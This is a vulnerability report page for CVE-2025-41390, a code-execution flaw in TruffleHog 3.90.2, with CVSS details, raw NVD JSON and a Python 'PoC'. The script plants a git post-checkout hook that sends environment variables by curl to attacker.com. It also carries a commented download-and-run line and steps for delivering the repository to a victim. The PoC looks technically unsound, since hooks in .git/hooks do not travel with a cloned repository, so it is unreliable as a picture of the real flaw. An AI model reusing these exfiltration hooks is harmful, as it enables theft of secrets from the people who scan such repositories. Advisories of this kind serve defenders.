Security Vulnerability Report
中文
CVE-2025-41390 CVSS 7.8 HIGH

CVE-2025-41390

Published: 2025-10-20 15:15:33
Last Modified: 2026-04-15 00:35:42

Description

An arbitrary code execution vulnerability exists in the git functionality of Truffle Security Co. TruffleHog 3.90.2. A specially crafted repository can lead to a arbitrary code execution. An attacker can provide a malicious respository to trigger this vulnerability.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TruffleHog < 3.90.3
TruffleHog 3.90.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-41390 PoC - TruffleHog Git RCE # Create a malicious Git repository that triggers arbitrary code execution # when scanned by TruffleHog 3.90.2 import os import subprocess def create_malicious_repo(): """Create a Git repository with malicious hooks to exploit CVE-2025-41390""" repo_path = "./malicious_repo" os.makedirs(repo_path, exist_ok=True) os.chdir(repo_path) # Initialize git repository subprocess.run(["git", "init"], check=True) # Create a malicious post-checkout hook hooks_dir = ".git/hooks" os.makedirs(hooks_dir, exist_ok=True) # Malicious payload - executes arbitrary code when triggered payload = '''#!/bin/bash # Malicious payload - arbitrary code execution # This hook executes when TruffleHog scans the repository echo "[+] CVE-2025-41390 triggered - Arbitrary code execution" # Example: exfiltrate environment variables env | curl -X POST -d @- http://attacker.com/exfil 2>/dev/null # Example: download and execute additional payload # curl http://attacker.com/payload.sh | bash ''' hook_path = os.path.join(hooks_dir, "post-checkout") with open(hook_path, "w") as f: f.write(payload) os.chmod(hook_path, 0o755) # Create a dummy file to commit with open("README.md", "w") as f: f.write("# Legitimate looking repository\n") # Configure git and commit subprocess.run(["git", "config", "user.email", "[email protected]"], check=True) subprocess.run(["git", "config", "user.name", "Attacker"], check=True) subprocess.run(["git", "add", "."], check=True) subprocess.run(["git", "commit", "-m", "Initial commit"], check=True) print(f"[+] Malicious repository created at: {repo_path}") print("[+] When scanned by TruffleHog 3.90.2, it will execute the payload") if __name__ == "__main__": create_malicious_repo() # Usage: # 1. Run this script to create the malicious repo # 2. Host the repo or send it to the victim # 3. When victim runs: trufflehog git file://./malicious_repo # 4. The post-checkout hook executes arbitrary code on the victim's system

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41390", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:33.233", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An arbitrary code execution vulnerability exists in the git functionality of Truffle Security Co. TruffleHog 3.90.2. A specially crafted repository can lead to a arbitrary code execution. An attacker can provide a malicious respository to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2243", "source": "[email protected]"}, {"url": "https://trufflesecurity.com/blog/contributor-spotlight-adam-reiser-of-cisco-talos", "source": "[email protected]"}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2243", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}